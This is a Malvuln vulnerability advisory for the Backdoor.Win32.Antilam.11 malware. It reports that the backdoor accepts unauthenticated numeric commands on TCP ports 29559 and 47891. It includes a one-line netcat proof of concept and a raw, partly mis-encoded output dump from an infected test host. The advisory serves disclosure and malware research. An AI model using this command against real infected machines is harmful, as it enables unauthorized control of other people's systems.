Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/290477c9707f64a316888493ae67b1ef.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Backdoor.Win32.Antilam.11 Vulnerability: Unauthenticated Remote Command Execution Description: The malware listens on TCP ports 29559, 47891. Third party attackers who can reach infected systems can execute commands made available by the backdoor. Netcat utility worked the best for running commands, which are supplied as numeric values or hex characters. The values sent correspond to different commands mapped in the backdoor. Commands are typically three digits e.g. 001 and perform various actions on the infected host. Type: PE32 MD5: 290477c9707f64a316888493ae67b1ef Vuln ID: MVID-2021-0403 Dropped files: scandisk.exe Disclosure: 11/21/2021 Exploit/PoC: nc64.exe x.x.x.x 47891 001 001 Windows: C:\WINDOWS System: C:\WINDOWS\system32 Temp: C:\Users\Victim\AppData\Local\Temp\ Windows: Windows NT 6.2 9200 Windows: 02 : DESKTOP-2C3IQHO α: Victim Windows: English (United States) ╨ατ≡: 1547x787 NumLock: Off CapsLock: Off ScrollLock: Off ╤ΓεßεΣφεσ ∞σ±≥ε φα ΣΦ±Ωσ: 3,722,629,120 DESKTOP-2C3IQHO 000Taskbar ±Ω≡√δ± ...005 000╚ΩεφΩΦ ±Ω≡√ⁿ...006 000╫α±√ⁿ...007 000Monitor ..008 000Ctrl+Alt+Del ...009 000ScrollLock ...010 000CapsLock ..011 000NumLock Γφ...012 000CD-ROM ταΩ≡√≥...013 000═σ ∞επ≤ ≤±≥αφεΓΦ≥ⁿ Γ≡σ∞ ...014 000═σ ∞επ≤ ≤±≥αφεΓΦ≥ⁿ Σα≥≤...015 01508:56 PM|11/17/2021016 000Mouse was been unlocked...019 020500021 021022 66022023Shell Experience Host3IQHO\Victim]+ (Administrator) Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).